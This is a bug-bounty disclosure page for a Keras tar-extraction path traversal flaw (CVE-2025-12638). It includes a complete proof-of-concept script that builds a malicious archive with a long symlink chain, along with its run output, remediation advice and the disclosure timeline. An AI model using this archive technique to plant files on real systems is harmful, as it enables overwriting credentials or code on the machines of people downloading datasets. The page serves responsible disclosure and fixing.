

Path Traversal vulnerability in keras using tar extract in [keras-team/keras](#)

✓ Valid

Reported on Aug 30th 2025

Technical Details of the Vulnerability

Summary

Keras's `keras.utils.get_file()` function is vulnerable to **directory traversal attacks** despite implementing `filter_safe_paths()`. The vulnerability exists because `extract_archive()` uses Python's `tarfile.extractall()` method without the security-critical `filter="data"` parameter, the **PATH_MAX symlink resolution bug occurs before path filtering**, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.

Root Cause Analysis

Current Keras Implementation

```
# From keras/src/utils/file_utils.py#L121
if zipfile.is_zipfile(file_path):
    # Zip archive.
    archive.extractall(path)
else:
    # Tar archive, perhaps unsafe. Filter paths.
    archive.extractall(path, members=filter_safe_paths(archive))
```

The Critical Flaw

While Keras attempts to filter unsafe paths using `filter_safe_paths()`, this filtering happens **after** the tar archive members are parsed and **before** actual extraction. However, the **PATH_MAX symlink resolution bug occurs during extraction**, not during member enumeration.

Exploitation Flow

- **Archive parsing:** `filter_safe_paths()` sees symlink paths that appear safe
- **Extraction begins:** `extractall()` processes the filtered members
- **PATH_MAX bug triggers:** Symlink resolution fails due to path length limits
- **Security bypass:** Failed resolution causes literal path interpretation
- **Directory traversal:** Files written outside intended directory

Technical Proof of Concept

Proof of Concept (keras_poc.py)

```
#!/usr/bin/env python3
import os, io, sys, tarfile, pathlib, platform, threading, time
import http.server, socketserver

# Import Keras directly (not through TensorFlow)
try:
    import keras
    print("Using standalone Keras:", keras.__version__)
    get_file = keras.utils.get_file
except ImportError:
    try:
        import tensorflow as tf
        print("Using Keras via TensorFlow:", tf.keras.__version__)
        get_file = tf.keras.utils.get_file
    except ImportError:
        print("Neither Keras nor TensorFlow found!")
        sys.exit(1)

print("=" * 60)
print("Keras get_file() PATH_MAX Symlink Vulnerability PoC")
print("=" * 60)
print("Python:", sys.version.split()[0])
print("Platform:", platform.platform())

root = pathlib.Path.cwd()
print(f"Working directory: {root}")

# Create target directory for exploit demonstration
exploit_dir = root / "exploit"
exploit_dir.mkdir(exist_ok=True)

# Clean up any previous exploit files
try:
    (exploit_dir / "keras_pwned.txt").unlink()
except FileNotFoundError:
    pass

print(f"\n=== INITIAL STATE ===")
print(f"Exploit directory: {exploit_dir}")
print(f"Files in exploit/: {[f.name for f in exploit_dir.iterdir()]}")

# Create malicious tar with PATH_MAX symlink resolution bug
print(f"\n=== Building PATH_MAX Symlink Exploit ===")

# Parameters for PATH_MAX exploitation
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop" # 16-step symlink chain
path = ""

with tarfile.open("keras_dataset.tgz", mode="w:gz") as tar:
    print("Creating deep symlink chain...")
```

```

# Build the symlink chain that will exceed PATH_MAX during resolution
for i, step in enumerate(steps):
    # Directory with long name
    dir_info = tarfile.TarInfo(os.path.join(path, comp))
    dir_info.type = tarfile.DIRTYPE
    tar.addfile(dir_info)

    # Symlink pointing to that directory
    link_info = tarfile.TarInfo(os.path.join(path, step))
    link_info.type = tarfile.SYMTYPE
    link_info.linkname = comp
    tar.addfile(link_info)

    path = os.path.join(path, comp)

    if i < 3 or i % 4 == 0: # Print progress for first few and every 4th
        print(f" Step {i+1}: {step} -> {comp[:20]}...")

# Create the final symlink that exceeds PATH_MAX
# This is where the symlink resolution breaks down
long_name = "x" * 254
linkpath = os.path.join("/".join(steps), long_name)

max_link = tarfile.TarInfo(linkpath)
max_link.type = tarfile.SYMTYPE
max_link.linkname = ("../" * len(steps))
tar.addfile(max_link)

print(f"✓ Created PATH_MAX symlink: {len(linkpath)} characters")
print(f" Points to: {'../' * len(steps)}")

# Exploit file through the broken symlink resolution
exploit_path = linkpath + "../../../exploit/keras_pwned.txt"
exploit_content = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside"

exploit_file = tarfile.TarInfo(exploit_path)
exploit_file.type = tarfile.REGTYPE
exploit_file.size = len(exploit_content)
tar.addfile(exploit_file, fileobj=io.BytesIO(exploit_content))

print(f"✓ Added exploit file via broken symlink path")

# Add legitimate dataset content
dataset_content = b"# Keras Dataset Sample\nThis appears to be a legitimate ML"
dataset_file = tarfile.TarInfo("dataset/labels.csv")
dataset_file.type = tarfile.REGTYPE
dataset_file.size = len(dataset_content)
tar.addfile(dataset_file, fileobj=io.BytesIO(dataset_content))

# Dataset directory
dataset_dir = tarfile.TarInfo("dataset/")
dataset_dir.type = tarfile.DIRTYPE
tar.addfile(dataset_dir)

print(f"✓ Malicious Keras dataset created")

```

```

# Comparison Test: Python tarfile with filter (SAFE)
print(f"\n=== COMPARISON: Python tarfile with data filter ===")
try:
    with tarfile.open("keras_dataset.tgz", "r:gz") as tar:
        tar.extractall("python_safe", filter="data")

    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"✓ Python safe extraction completed")
    print(f"Files in exploit/: {files_after}")

    # Cleanup
    import shutil
    if pathlib.Path("python_safe").exists():
        shutil.rmtree("python_safe", ignore_errors=True)

except Exception as e:
    print(f"✗ Python safe extraction blocked: {str(e)[:80]}...")
    files_after = [f.name for f in exploit_dir.iterdir()]
    print(f"Files in exploit/: {files_after}")

# Start HTTP server to serve malicious archive
class SilentServer(http.server.SimpleHTTPRequestHandler):
    def log_message(self, *args): pass

def run_server():
    with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd:
        httpd.allow_reuse_address = True
        httpd.serve_forever()

server = threading.Thread(target=run_server, daemon=True)
server.start()
time.sleep(0.3)

# Keras vulnerability test
cache_dir = root / "keras_cache"
cache_dir.mkdir(exist_ok=True)
url = "http://127.0.0.1:8005/keras_dataset.tgz"

print(f"\n=== KERAS VULNERABILITY TEST ===")
print(f"Testing: keras.utils.get_file() with extract=True")
print(f"URL: {url}")
print(f"Cache: {cache_dir}")
print(f"Expected extraction: keras_cache/datasets/keras_dataset/")
print(f"Exploit target: exploit/keras_pwned.txt")

try:
    # The vulnerable Keras call
    extracted_path = get_file(
        "keras_dataset",
        url,
        cache_dir=str(cache_dir),
        extract=True
    )
    print(f"✓ Keras extraction completed")
    print(f"✓ Returned path: {extracted_path}")

except Exception as e:

```

```

print(f"✗ Keras extraction failed: {e}")
import traceback
traceback.print_exc()

# Vulnerability assessment
print(f"\n=== VULNERABILITY RESULTS ===")
final_exploit_files = [f.name for f in exploit_dir.iterdir()]
print(f"Files in exploit directory: {final_exploit_files}")

if "keras_pwned.txt" in final_exploit_files:
    print(f"\n🔴 KERAS VULNERABILITY CONFIRMED! 🚨")

    exploit_file = exploit_dir / "keras_pwned.txt"
    content = exploit_file.read_text()
    print(f"Exploit file created: {exploit_file}")
    print(f"Content:\n{content}")

    print(f"\n🔧 TECHNICAL DETAILS:")
    print(f"    • Keras uses tarfile.extractall() without filter parameter")
    print(f"    • PATH_MAX symlink resolution bug bypassed security checks")
    print(f"    • File created outside intended cache directory")
    print(f"    • Same vulnerability pattern as TensorFlow get_file()")

    print(f"\n🔍 COMPARISON RESULTS:")
    print(f"    ✔ Python with filter='data': BLOCKED exploit")
    print(f"    ⚠ Keras get_file(): ALLOWED exploit")

else:
    print(f"✔ No exploit files detected")
    print(f"Possible reasons:")
    print(f"    • Keras version includes security patches")
    print(f"    • Platform-specific path handling prevented exploit")
    print(f"    • Archive extraction path differed from expected")

# Show what Keras actually extracted (safely)
print(f"\n=== KERAS EXTRACTION ANALYSIS ===")
try:
    if 'extracted_path' in locals() and pathlib.Path(extracted_path).exists():
        keras_path = pathlib.Path(extracted_path)
        print(f"Keras extracted to: {keras_path}")

        # Safely list contents
        try:
            contents = [item.name for item in keras_path.iterdir()]
            print(f"Top-level contents: {contents}")

            # Count symlinks (indicates our exploit structure was created)
            symlink_count = 0
            for item in keras_path.iterdir():
                try:
                    if item.is_symlink():
                        symlink_count += 1
                except PermissionError:
                    continue

            print(f"Symlinks created: {symlink_count}")
            if symlink_count > 0:

```

```

        print(f"✓ PATH_MAX symlink chain was extracted")

    except PermissionError:
        print(f"Permission errors in extraction directory (expected with symlink)")

except Exception as e:
    print(f"Could not analyze Keras extraction: {e}")

print(f"\n=== REMEDIATION ===")
print(f"To fix this vulnerability, Keras should use:")
print(f"```python")
print(f"tarfile.extractall(path, filter='data') # Safe")
print(f"```")
print(f"Instead of:")
print(f"```python")
print(f"tarfile.extractall(path) # Vulnerable")
print(f"```")

# Cleanup
print(f"\n=== CLEANUP ===")
try:
    os.unlink("keras_dataset.tgz")
    print(f"✓ Removed malicious tar file")
except:
    pass

print("PoC completed!")

```

PoC Result

```

Using standalone Keras: 3.11.3
=====
Keras get_file() PATH_MAX Symlink Vulnerability PoC
=====
Python: 3.13.7
Platform: macOS-15.6.1-arm64-arm-64bit-Mach-O
Working directory: /test

=== INITIAL STATE ===
Exploit directory: /test/exploit
Files in exploit/: []

=== Building PATH_MAX Symlink Exploit ===
Creating deep symlink chain...
  Step 1: a -> ddddddddddddddddddd...
  Step 2: b -> ddddddddddddddddddd...
  Step 3: c -> ddddddddddddddddddd...
  Step 5: e -> ddddddddddddddddddd...
  Step 9: i -> ddddddddddddddddddd...
  Step 13: m -> ddddddddddddddddddd...
✓ Created PATH_MAX symlink: 286 characters
  Points to: ../../../../../../../../../../../../../../
✓ Added exploit file via broken symlink path
✓ Malicious Keras dataset created

```

=== COMPARISON: Python tarfile with data filter ===

✗ Python safe extraction blocked: [Errno 63] File name too long: '/test/p...
Files in exploit/: []

=== KERAS VULNERABILITY TEST ===

Testing: keras.utils.get_file() with extract=True

URL: http://127.0.0.1:8005/keras_dataset.tgz

Cache: /test/keras_cache

Expected extraction: keras_cache/datasets/keras_dataset/

Exploit target: exploit/keras_pwned.txt

Downloading data from http://127.0.0.1:8005/keras_dataset.tgz

1175/1175 ————— 0s 0us/step

✓ Keras extraction completed

✓ Returned path: /test/keras_cache/datasets/keras_dataset

=== VULNERABILITY RESULTS ===

Files in exploit directory: ['keras_pwned.txt']

▯ KERAS VULNERABILITY CONFIRMED! ▯

Exploit file created: /test/exploit/keras_pwned.txt

Content:

KERAS VULNERABILITY CONFIRMED!

This file was created outside the cache directory!

Keras get_file() is vulnerable to PATH_MAX symlink attacks!

▯ TECHNICAL DETAILS:

- Keras uses tarfile.extractall() without filter parameter
- PATH_MAX symlink resolution bug bypassed security checks
- File created outside intended cache directory
- Same vulnerability pattern as TensorFlow get_file()

▯ COMPARISON RESULTS:

- ✓ Python with filter='data': BLOCKED exploit
- ⚠ Keras get_file(): ALLOWED exploit

=== KERAS EXTRACTION ANALYSIS ===

Keras extracted to: /test/keras_cache/datasets/keras_dataset

Top-level contents: ['dd', 'da

Symlinks created: 1

✓ PATH_MAX symlink chain was extracted

=== REMEDIATION ===

To fix this vulnerability, Keras should use:

tarfile.extractall(path, filter='data') # Safe

Instead of:

tarfile.extractall(path) # Vulnerable

Exploit Structure

Symlink chain: a->ddd.../b->ddd.../c->ddd... (16 levels)

Final symlink: xxxxx...254chars -> ../../../../../../../../../../

```
Exploit file: xxxxx...254chars/../../../../exploit/pwned.txt
```

Test Results

```
Python with filter='data': BLOCKED (File name too long error)
Keras get_file(): ALLOWED (File created in exploit/pwned.txt)
```

The vulnerability succeeds because:

- `filter_safe_paths()` cannot detect the future symlink resolution failure
- `PATH_MAX` limits cause symlink resolution to break during extraction
- Security checks are bypassed after filtering has already occurred

Ref(Critical): <https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f>

Impact

Impact Analysis

Attack Vectors in ML Environments

Dataset Poisoning Attacks

- Malicious datasets hosted on research repositories
- Compromised educational ML tutorials
- Supply chain attacks on popular dataset collections

Development Environment Compromise

ML developers routinely download datasets using:

```
keras.utils.get_file("dataset", external_url, extract=True)
```

This trusted operation becomes an attack vector.

Dangerous Attack Outcomes

Immediate System Compromise

- **Configuration file overwrite:** SSH keys, cloud credentials, API tokens
- **Code injection:** Malicious scripts in application directories
- **Backdoor installation:** Persistent access mechanisms

ML Pipeline Attacks

- **Training data manipulation:** Subtle model poisoning
- **Model theft:** Extraction of proprietary ML models
- **Compute resource abuse:** Cryptocurrency mining, botnet participation
- **Data exfiltration:** Stealing sensitive training datasets

Production ML System Risks

- **Model serving compromise:** Backdoors in production inference systems
- **Data pipeline corruption:** Poisoned preprocessing logic
- **Automated attack propagation:** Malicious code in CI/CD pipelines

Real-World Exploitation Scenarios

Research Institution Attack

- Attacker uploads malicious dataset to academic repository
- Researchers download "legitimate" dataset for their studies
- Keras extracts malicious archive during dataset loading
- SSH keys and research data compromised
- Lateral movement to institutional compute clusters

Production ML Pipeline Compromise

- Supply chain attack injects malicious archive into dataset pipeline
- Automated training system downloads and extracts dataset
- Malicious files overwrite production configuration
- Attackers gain access to production ML infrastructure

Educational Platform Exploitation

- Compromise of ML tutorial repositories or platforms
- Students follow tutorials using malicious dataset URLs
- Mass compromise of educational computing environments
- Potential access to institutional networks

The vulnerability is particularly dangerous because:

- **High trust context:** Dataset downloads are considered safe operations
- **Automated usage:** Often used in scripts without human oversight
- **Wide deployment:** Affects any Keras installation processing tar archives
- **Filter bypass:** Security measures are present but ineffective against this attack

Occurrences

- ⚙️ We are processing your report and will contact the **keras-team/keras** team within 24 hours. 5 months ago
- 🕒 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ✉️ We have sent a magic link to the **keras-team/keras** team via the email provided in their **security policy** 5 months ago
- ⚙️ This report has now been passed to internal triage and should be resolved within 14 days. 4 months ago

ready-research commented 3 months ago

Researcher

@admin I reported this using GHSA in keras, and it got approved. One of the maintainer @hertschuh fixed the issue and wants to approve this report. But he is not able to access this report to approve.

Can you please give the access to this report. Thanks. Fix PR: <https://github.com/keras-team/keras/pull/21760>

Private GHSA: <https://github.com/keras-team/keras/security/advisories/GHSA-hjqc-jx6g-rwp9>

ready-research commented 3 months ago

Researcher

@admin can you please provide magic link here so that I can pass the same to keras team in the above mentioned GHSA. Or if possible can you please invite @hertschuh to this report for approval. Thanks.

cc: @admin @adam-nygate

 **Ethan Silvas** modified the Severity from Critical (9.8) to High (8) 3 months ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ **Ethan Silvas** validated this vulnerability 3 months ago

Updated cvss according to CVE and validating

\$ **ready-research** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 **CVE-2025-12638** assigned to this report. 3 months ago

ready-research commented 3 months ago

Researcher

Hi @ethansilvas, a CVE CVE-2025-12060 has been already assigned to this issue. Fix : <https://github.com/keras-team/keras/commit/47fcb397ee4caffd5a75efd1fa3067559594e951>

✉ We have notified the **keras-team/keras** maintainers about this report in their weekly follow-up 2 months ago

⚠ We have sent a warning to the **keras-team/keras** team to inform them that this report will be published in 48 hours 2 months ago

 This vulnerability has now been published 2 months ago

 **CVE-2025-12638** has now been published 2 months ago

[Sign in](#) to join this conversation

CVE
CVE-2025-12638
Published

Vulnerability Type

Severity

High (8)

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

3.11.3

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750 to \$900

Fix Bounty

\$187.5

Found by



ready-research

@ready-research

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

